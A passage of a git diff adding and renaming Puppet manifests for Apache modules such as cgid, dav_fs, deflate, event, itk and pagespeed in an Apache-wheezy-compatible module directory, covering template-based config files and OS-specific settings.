$authn_dbd_max = '20', + $authn_dbd_keep = '8', + $authn_dbd_exptime = '300', + $authn_dbd_alias = undef, +) inherits ::apache::params { + include ::apache + include ::apache::mod::dbd + ::apache::mod { 'authn_dbd': } + + if $authn_dbd_alias { + include ::apache::mod::authn_core + } + + # Template uses + # - All variables beginning with authn_dbd + file { 'authn_dbd.conf': + ensure => file, + path => "${::apache::mod_dir}/authn_dbd.conf", + mode => $::apache::file_mode, + content => template('apache/mod/authn_dbd.conf.erb'), + require => [ Exec["mkdir ${::apache::mod_dir}"], ], + before => File[$::apache::mod_dir], + notify => Class['Apache::Service'], + } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/authn_file.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/authn_file.pp new file mode 100644 index 000000000..bc787244a --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/authn_file.pp @@ -0,0 +1,3 @@ +class apache::mod::authn_file { + ::apache::mod { 'authn_file': } +} diff --git a/modules/services/unix/http/apache/manifests/mod/authnz_ldap.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/authnz_ldap.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/authnz_ldap.pp rename to modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/authnz_ldap.pp diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/authz_default.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/authz_default.pp new file mode 100644 index 000000000..e457774ae --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/authz_default.pp @@ -0,0 +1,9 @@ +class apache::mod::authz_default( + $apache_version = $::apache::apache_version +) { + if versioncmp($apache_version, '2.4') >= 0 { + warning('apache::mod::authz_default has been removed in Apache 2.4') + } else { + ::apache::mod { 'authz_default': } + } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/authz_user.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/authz_user.pp new file mode 100644 index 000000000..948a3e2c9 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/authz_user.pp @@ -0,0 +1,3 @@ +class apache::mod::authz_user { + ::apache::mod { 'authz_user': } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/autoindex.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/autoindex.pp new file mode 100644 index 000000000..67c7580e3 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/autoindex.pp @@ -0,0 +1,14 @@ +class apache::mod::autoindex { + include ::apache + ::apache::mod { 'autoindex': } + # Template uses no variables + file { 'autoindex.conf': + ensure => file, + path => "${::apache::mod_dir}/autoindex.conf", + mode => $::apache::file_mode, + content => template('apache/mod/autoindex.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/cache.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/cache.pp new file mode 100644 index 000000000..4ab9f44ba --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/cache.pp @@ -0,0 +1,3 @@ +class apache::mod::cache { + ::apache::mod { 'cache': } +} diff --git a/modules/services/unix/http/apache/manifests/mod/cgi.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/cgi.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/cgi.pp rename to modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/cgi.pp diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/cgid.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/cgid.pp new file mode 100644 index 000000000..b2cb01655 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/cgid.pp @@ -0,0 +1,42 @@ +class apache::mod::cgid { + include ::apache + case $::osfamily { + 'FreeBSD': {} + default: { + if defined(Class['::apache::mod::event']) { + Class['::apache::mod::event'] -> Class['::apache::mod::cgid'] + } else { + Class['::apache::mod::worker'] -> Class['::apache::mod::cgid'] + } + } + } + + # Debian specifies it's cgid sock path, but RedHat uses the default value + # with no config file + $cgisock_path = $::osfamily ? { + 'debian' => "\${APACHE_RUN_DIR}/cgisock", + 'freebsd' => 'cgisock', + default => undef, + } + + if $::osfamily == 'Suse' { + ::apache::mod { 'cgid': + lib_path => '/usr/lib64/apache2-worker', + } + } else { + ::apache::mod { 'cgid': } + } + + if $cgisock_path { + # Template uses $cgisock_path + file { 'cgid.conf': + ensure => file, + path => "${::apache::mod_dir}/cgid.conf", + mode => $::apache::file_mode, + content => template('apache/mod/cgid.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } + } +} diff --git a/modules/services/unix/http/apache/manifests/mod/cluster.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/cluster.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/cluster.pp rename to modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/cluster.pp diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/dav.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/dav.pp new file mode 100644 index 000000000..ade9c0809 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/dav.pp @@ -0,0 +1,3 @@ +class apache::mod::dav { + ::apache::mod { 'dav': } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/dav_fs.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/dav_fs.pp new file mode 100644 index 000000000..60127e3f6 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/dav_fs.pp @@ -0,0 +1,22 @@ +class apache::mod::dav_fs { + include ::apache + $dav_lock = $::osfamily ? { + 'debian' => "\${APACHE_LOCK_DIR}/DAVLock", + 'freebsd' => '/usr/local/var/DavLock', + default => '/var/lib/dav/lockdb', + } + + Class['::apache::mod::dav'] -> Class['::apache::mod::dav_fs'] + ::apache::mod { 'dav_fs': } + + # Template uses: $dav_lock + file { 'dav_fs.conf': + ensure => file, + path => "${::apache::mod_dir}/dav_fs.conf", + mode => $::apache::file_mode, + content => template('apache/mod/dav_fs.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/dav_svn.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/dav_svn.pp new file mode 100644 index 000000000..35d5417b5 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/dav_svn.pp @@ -0,0 +1,28 @@ +class apache::mod::dav_svn ( + $authz_svn_enabled = false, +) { + Class['::apache::mod::dav'] -> Class['::apache::mod::dav_svn'] + include ::apache + include ::apache::mod::dav + if($::operatingsystem == 'SLES' and $::operatingsystemmajrelease < '12'){ + package { 'subversion-server': + ensure => 'installed', + provider => 'zypper', + } + } + + ::apache::mod { 'dav_svn': } + + if $::osfamily == 'Debian' and ($::operatingsystemmajrelease != '6' and $::operatingsystemmajrelease != '10.04' and $::operatingsystemrelease != '10.04' and $::operatingsystemmajrelease != '16.04') { + $loadfile_name = undef + } else { + $loadfile_name = 'dav_svn_authz_svn.load' + } + + if $authz_svn_enabled { + ::apache::mod { 'authz_svn': + loadfile_name => $loadfile_name, + require => Apache::Mod['dav_svn'], + } + } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/dbd.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/dbd.pp new file mode 100644 index 000000000..547acc77d --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/dbd.pp @@ -0,0 +1,3 @@ +class apache::mod::dbd { + ::apache::mod { 'dbd': } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/deflate.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/deflate.pp new file mode 100644 index 000000000..70ac5be12 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/deflate.pp @@ -0,0 +1,27 @@ +class apache::mod::deflate ( + $types = [ + 'text/html text/plain text/xml', + 'text/css', + 'application/x-javascript application/javascript application/ecmascript', + 'application/rss+xml', + 'application/json', + ], + $notes = { + 'Input' => 'instream', + 'Output' => 'outstream', + 'Ratio' => 'ratio', + } +) { + include ::apache + ::apache::mod { 'deflate': } + + file { 'deflate.conf': + ensure => file, + path => "${::apache::mod_dir}/deflate.conf", + mode => $::apache::file_mode, + content => template('apache/mod/deflate.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/dev.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/dev.pp new file mode 100644 index 000000000..5abdedd36 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/dev.pp @@ -0,0 +1,5 @@ +class apache::mod::dev { + # Development packages are not apache modules + warning('apache::mod::dev is deprecated; please use apache::dev') + include ::apache::dev +} diff --git a/modules/services/unix/http/apache/manifests/mod/dir.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/dir.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/dir.pp rename to modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/dir.pp diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/disk_cache.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/disk_cache.pp new file mode 100644 index 000000000..7cd72701e --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/disk_cache.pp @@ -0,0 +1,42 @@ +class apache::mod::disk_cache ( + $cache_root = undef, +) { + include ::apache + if $cache_root { + $_cache_root = $cache_root + } + elsif versioncmp($::apache::apache_version, '2.4') >= 0 { + $_cache_root = $::osfamily ? { + 'debian' => '/var/cache/apache2/mod_cache_disk', + 'redhat' => '/var/cache/httpd/proxy', + 'freebsd' => '/var/cache/mod_cache_disk', + } + } + else { + $_cache_root = $::osfamily ? { + 'debian' => '/var/cache/apache2/mod_disk_cache', + 'redhat' => '/var/cache/mod_proxy', + 'freebsd' => '/var/cache/mod_disk_cache', + } + } + + if versioncmp($::apache::apache_version, '2.4') >= 0 { + apache::mod { 'cache_disk': } + } + else { + apache::mod { 'disk_cache': } + } + + Class['::apache::mod::cache'] -> Class['::apache::mod::disk_cache'] + + # Template uses $_cache_root + file { 'disk_cache.conf': + ensure => file, + path => "${::apache::mod_dir}/disk_cache.conf", + mode => $::apache::file_mode, + content => template('apache/mod/disk_cache.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } +} diff --git a/modules/services/unix/http/apache/manifests/mod/dumpio.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/dumpio.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/dumpio.pp rename to modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/dumpio.pp diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/env.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/env.pp new file mode 100644 index 000000000..b973005f4 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/env.pp @@ -0,0 +1,3 @@ +class apache::mod::env { + ::apache::mod { 'env': } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/event.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/event.pp new file mode 100644 index 000000000..a87395916 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/event.pp @@ -0,0 +1,76 @@ +class apache::mod::event ( + $startservers = '2', + $maxclients = '150', + $maxrequestworkers = undef, + $minsparethreads = '25', + $maxsparethreads = '75', + $threadsperchild = '25', + $maxrequestsperchild = '0', + $maxconnectionsperchild = undef, + $serverlimit = '25', + $apache_version = undef, + $threadlimit = '64', + $listenbacklog = '511', +) { + include ::apache + + $_apache_version = pick($apache_version, $apache::apache_version) + + if defined(Class['apache::mod::itk']) { + fail('May not include both apache::mod::event and apache::mod::itk on the same node') + } + if defined(Class['apache::mod::peruser']) { + fail('May not include both apache::mod::event and apache::mod::peruser on the same node') + } + if defined(Class['apache::mod::prefork']) { + fail('May not include both apache::mod::event and apache::mod::prefork on the same node') + } + if defined(Class['apache::mod::worker']) { + fail('May not include both apache::mod::event and apache::mod::worker on the same node') + } + File { + owner => 'root', + group => $::apache::params::root_group, + mode => $::apache::file_mode, + } + + # Template uses: + # - $startservers + # - $maxclients + # - $minsparethreads + # - $maxsparethreads + # - $threadsperchild + # - $maxrequestsperchild + # - $serverlimit + file { "${::apache::mod_dir}/event.conf": + ensure => file, + mode => $::apache::file_mode, + content => template('apache/mod/event.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } + + case $::osfamily { + 'redhat': { + if versioncmp($_apache_version, '2.4') >= 0 { + apache::mpm{ 'event': + apache_version => $_apache_version, + } + } + } + 'debian','freebsd' : { + apache::mpm{ 'event': + apache_version => $_apache_version, + } + } + 'gentoo': { + ::portage::makeconf { 'apache2_mpms': + content => 'event', + } + } + default: { + fail("Unsupported osfamily ${::osfamily}") + } + } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/expires.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/expires.pp new file mode 100644 index 000000000..07ec82e27 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/expires.pp @@ -0,0 +1,22 @@ +class apache::mod::expires ( + $expires_active = true, + $expires_default = undef, + $expires_by_type = undef, +) { + include ::apache + ::apache::mod { 'expires': } + + # Template uses + # $expires_active + # $expires_default + # $expires_by_type + file { 'expires.conf': + ensure => file, + path => "${::apache::mod_dir}/expires.conf", + mode => $::apache::file_mode, + content => template('apache/mod/expires.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } +} diff --git a/modules/services/unix/http/apache/manifests/mod/ext_filter.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/ext_filter.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/ext_filter.pp rename to modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/ext_filter.pp diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/fastcgi.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/fastcgi.pp new file mode 100644 index 000000000..543a32233 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/fastcgi.pp @@ -0,0 +1,26 @@ +class apache::mod::fastcgi { + include ::apache + + # Debian specifies it's fastcgi lib path, but RedHat uses the default value + # with no config file + $fastcgi_lib_path = $::apache::params::fastcgi_lib_path + + ::apache::mod { 'fastcgi': } + + if $fastcgi_lib_path { + # Template uses: + # - $fastcgi_server + # - $fastcgi_socket + # - $fastcgi_dir + file { 'fastcgi.conf': + ensure => file, + path => "${::apache::mod_dir}/fastcgi.conf", + mode => $::apache::file_mode, + content => template('apache/mod/fastcgi.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } + } + +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/fcgid.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/fcgid.pp new file mode 100644 index 000000000..0e99a9b79 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/fcgid.pp @@ -0,0 +1,28 @@ +class apache::mod::fcgid( + $options = {}, +) { + include ::apache + if ($::osfamily == 'RedHat' and $::operatingsystemmajrelease == '7') or $::osfamily == 'FreeBSD' { + $loadfile_name = 'unixd_fcgid.load' + $conf_name = 'unixd_fcgid.conf' + } else { + $loadfile_name = undef + $conf_name = 'fcgid.conf' + } + + ::apache::mod { 'fcgid': + loadfile_name => $loadfile_name, + } + + # Template uses: + # - $options + file { $conf_name: + ensure => file, + path => "${::apache::mod_dir}/${conf_name}", + mode => $::apache::file_mode, + content => template('apache/mod/fcgid.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/filter.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/filter.pp new file mode 100644 index 000000000..26dc488b3 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/filter.pp @@ -0,0 +1,3 @@ +class apache::mod::filter { + ::apache::mod { 'filter': } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/geoip.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/geoip.pp new file mode 100644 index 000000000..66ae887de --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/geoip.pp @@ -0,0 +1,33 @@ +class apache::mod::geoip ( + $enable = false, + $db_file = '/usr/share/GeoIP/GeoIP.dat', + $flag = 'Standard', + $output = 'All', + $enable_utf8 = undef, + $scan_proxy_headers = undef, + $scan_proxy_header_field = undef, + $use_last_xforwarededfor_ip = undef, +) { + include ::apache + ::apache::mod { 'geoip': } + + # Template uses: + # - enable + # - db_file + # - flag + # - output + # - enable_utf8 + # - scan_proxy_headers + # - scan_proxy_header_field + # - use_last_xforwarededfor_ip + file { 'geoip.conf': + ensure => file, + path => "${::apache::mod_dir}/geoip.conf", + mode => $::apache::file_mode, + content => template('apache/mod/geoip.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } + +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/headers.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/headers.pp new file mode 100644 index 000000000..d18c5e279 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/headers.pp @@ -0,0 +1,3 @@ +class apache::mod::headers { + ::apache::mod { 'headers': } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/include.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/include.pp new file mode 100644 index 000000000..edbe81f32 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/include.pp @@ -0,0 +1,3 @@ +class apache::mod::include { + ::apache::mod { 'include': } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/info.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/info.pp new file mode 100644 index 000000000..c6f1355e5 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/info.pp @@ -0,0 +1,33 @@ +class apache::mod::info ( + $allow_from = ['127.0.0.1','::1'], + $apache_version = undef, + $restrict_access = true, + $info_path = '/server-info', +){ + include ::apache + $_apache_version = pick($apache_version, $apache::apache_version) + + if $::osfamily == 'Suse' { + if defined(Class['::apache::mod::worker']){ + $suse_path = '/usr/lib64/apache2-worker' + } else { + $suse_path = '/usr/lib64/apache2-prefork' + } + ::apache::mod { 'info': + lib_path => $suse_path, + } + } else { + ::apache::mod { 'info': } + } + + # Template uses $allow_from, $_apache_version + file { 'info.conf': + ensure => file, + path => "${::apache::mod_dir}/info.conf", + mode => $::apache::file_mode, + content => template('apache/mod/info.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/itk.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/itk.pp new file mode 100644 index 000000000..8ceb56d2b --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/itk.pp @@ -0,0 +1,96 @@ +class apache::mod::itk ( + $startservers = '8', + $minspareservers = '5', + $maxspareservers = '20', + $serverlimit = '256', + $maxclients = '256', + $maxrequestsperchild = '4000', + $apache_version = undef, +) { + include ::apache + + $_apache_version = pick($apache_version, $apache::apache_version) + + if defined(Class['apache::mod::event']) { + fail('May not include both apache::mod::itk and apache::mod::event on the same node') + } + if defined(Class['apache::mod::peruser']) { + fail('May not include both apache::mod::itk and apache::mod::peruser on the same node') + } + if versioncmp($_apache_version, '2.4') < 0 { + if defined(Class['apache::mod::prefork']) { + fail('May not include both apache::mod::itk and apache::mod::prefork on the same node') + } + } else { + # prefork is a requirement for itk in 2.4; except on FreeBSD and Gentoo, which are special + if $::osfamily =~ /^(FreeBSD|Gentoo)/ { + if defined(Class['apache::mod::prefork']) { + fail('May not include both apache::mod::itk and apache::mod::prefork on the same node') + } + } else { + if ! defined(Class['apache::mod::prefork']) { + include ::apache::mod::prefork + } + } + } + if defined(Class['apache::mod::worker']) { + fail('May not include both apache::mod::itk and apache::mod::worker on the same node') + } + File { + owner => 'root', + group => $::apache::params::root_group, + mode => $::apache::file_mode, + } + + # Template uses: + # - $startservers + # - $minspareservers + # - $maxspareservers + # - $serverlimit + # - $maxclients + # - $maxrequestsperchild + file { "${::apache::mod_dir}/itk.conf": + ensure => file, + mode => $::apache::file_mode, + content => template('apache/mod/itk.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } + + case $::osfamily { + 'redhat': { + package { 'httpd-itk': + ensure => present, + } + if versioncmp($_apache_version, '2.4') >= 0 { + ::apache::mpm{ 'itk': + apache_version => $_apache_version, + } + } + else { + file_line { '/etc/sysconfig/httpd itk enable': + ensure => present, + path => '/etc/sysconfig/httpd', + line => 'HTTPD=/usr/sbin/httpd.itk', + match => '#?HTTPD=/usr/sbin/httpd.itk', + require => Package['httpd'], + notify => Class['apache::service'], + } + } + } + 'debian', 'freebsd': { + apache::mpm{ 'itk': + apache_version => $_apache_version, + } + } + 'gentoo': { + ::portage::makeconf { 'apache2_mpms': + content => 'itk', + } + } + default: { + fail("Unsupported osfamily ${::osfamily}") + } + } +} diff --git a/modules/services/unix/http/apache/manifests/mod/ldap.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/ldap.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/ldap.pp rename to modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/ldap.pp diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/mime.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/mime.pp new file mode 100644 index 000000000..f68693093 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/mime.pp @@ -0,0 +1,25 @@ +class apache::mod::mime ( + $mime_support_package = $::apache::params::mime_support_package, + $mime_types_config = $::apache::params::mime_types_config, + $mime_types_additional = undef, +) inherits ::apache::params { + include ::apache + $_mime_types_additional = pick($mime_types_additional, $apache::mime_types_additional) + apache::mod { 'mime': } + # Template uses $_mime_types_config + file { 'mime.conf': + ensure => file, + path => "${::apache::mod_dir}/mime.conf", + mode => $::apache::file_mode, + content => template('apache/mod/mime.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } + if $mime_support_package { + package { $mime_support_package: + ensure => 'installed', + before => File['mime.conf'], + } + } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/mime_magic.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/mime_magic.pp new file mode 100644 index 000000000..ecc74cfdd --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/mime_magic.pp @@ -0,0 +1,17 @@ +class apache::mod::mime_magic ( + $magic_file = undef, +) { + include ::apache + $_magic_file = pick($magic_file, "${::apache::conf_dir}/magic") + apache::mod { 'mime_magic': } + # Template uses $magic_file + file { 'mime_magic.conf': + ensure => file, + path => "${::apache::mod_dir}/mime_magic.conf", + mode => $::apache::file_mode, + content => template('apache/mod/mime_magic.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/negotiation.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/negotiation.pp new file mode 100644 index 000000000..c7c34b81f --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/negotiation.pp @@ -0,0 +1,27 @@ +class apache::mod::negotiation ( + $force_language_priority = 'Prefer Fallback', + $language_priority = [ 'en', 'ca', 'cs', 'da', 'de', 'el', 'eo', 'es', 'et', + 'fr', 'he', 'hr', 'it', 'ja', 'ko', 'ltz', 'nl', 'nn', + 'no', 'pl', 'pt', 'pt-BR', 'ru', 'sv', 'zh-CN', + 'zh-TW' ], +) { + include ::apache + if !is_array($force_language_priority) and !is_string($force_language_priority) { + fail('force_languague_priority must be a string or array of strings') + } + if !is_array($language_priority) and !is_string($language_priority) { + fail('force_languague_priority must be a string or array of strings') + } + + ::apache::mod { 'negotiation': } + # Template uses no variables + file { 'negotiation.conf': + ensure => file, + mode => $::apache::file_mode, + path => "${::apache::mod_dir}/negotiation.conf", + content => template('apache/mod/negotiation.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/nss.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/nss.pp new file mode 100644 index 000000000..8814c9366 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/nss.pp @@ -0,0 +1,28 @@ +class apache::mod::nss ( + $transfer_log = "${::apache::params::logroot}/access.log", + $error_log = "${::apache::params::logroot}/error.log", + $passwd_file = undef, + $port = 8443, +) { + include ::apache + include ::apache::mod::mime + + apache::mod { 'nss': } + + $httpd_dir = $::apache::httpd_dir + + # Template uses: + # $transfer_log + # $error_log + # $http_dir + # passwd_file + file { 'nss.conf': + ensure => file, + path => "${::apache::mod_dir}/nss.conf", + mode => $::apache::file_mode, + content => template('apache/mod/nss.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/pagespeed.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/pagespeed.pp new file mode 100644 index 000000000..052dad0b1 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/pagespeed.pp @@ -0,0 +1,60 @@ +class apache::mod::pagespeed ( + $inherit_vhost_config = 'on', + $filter_xhtml = false, + $cache_path = '/var/cache/mod_pagespeed/', + $log_dir = '/var/log/pagespeed', + $memcache_servers = [], + $rewrite_level = 'CoreFilters', + $disable_filters = [], + $enable_filters = [], + $forbid_filters = [], + $rewrite_deadline_per_flush_ms = 10, + $additional_domains = undef, + $file_cache_size_kb = 102400, + $file_cache_clean_interval_ms = 3600000, + $lru_cache_per_process = 1024, + $lru_cache_byte_limit = 16384, + $css_flatten_max_bytes = 2048, + $css_inline_max_bytes = 2048, + $css_image_inline_max_bytes = 2048, + $image_inline_max_bytes = 2048, + $js_inline_max_bytes = 2048, + $css_outline_min_bytes = 3000, + $js_outline_min_bytes = 3000, + $inode_limit = 500000, + $image_max_rewrites_at_once = 8, + $num_rewrite_threads = 4, + $num_expensive_rewrite_threads = 4, + $collect_statistics = 'on', + $statistics_logging = 'on', + $allow_view_stats = [], + $allow_pagespeed_console = [], + $allow_pagespeed_message = [], + $message_buffer_size = 100000, + $additional_configuration = {}, + $apache_version = undef, + $package_ensure = undef, +){ + include ::apache + $_apache_version = pick($apache_version, $apache::apache_version) + $_lib = $_apache_version ? { + '2.4' => 'mod_pagespeed_ap24.so', + default => undef + } + + apache::mod { 'pagespeed': + lib => $_lib, + package_ensure => $package_ensure, + } + + # Template uses $_apache_version + file { 'pagespeed.conf': + ensure => file, + path => "${::apache::mod_dir}/pagespeed.conf", + mode => $::apache::file_mode, + content => template('apache/mod/pagespeed.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } +} diff --git a/modules/services/unix/http/apache/manifests/mod/passenger.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/passenger.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/passenger.pp rename to modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/passenger.pp diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/perl.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/perl.pp new file mode 100644 index 000000000..3bfeac977 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/manifests/mod/perl.pp @@ -0,0 +1,4 @@ +class apache::mod::perl { + include ::apache + 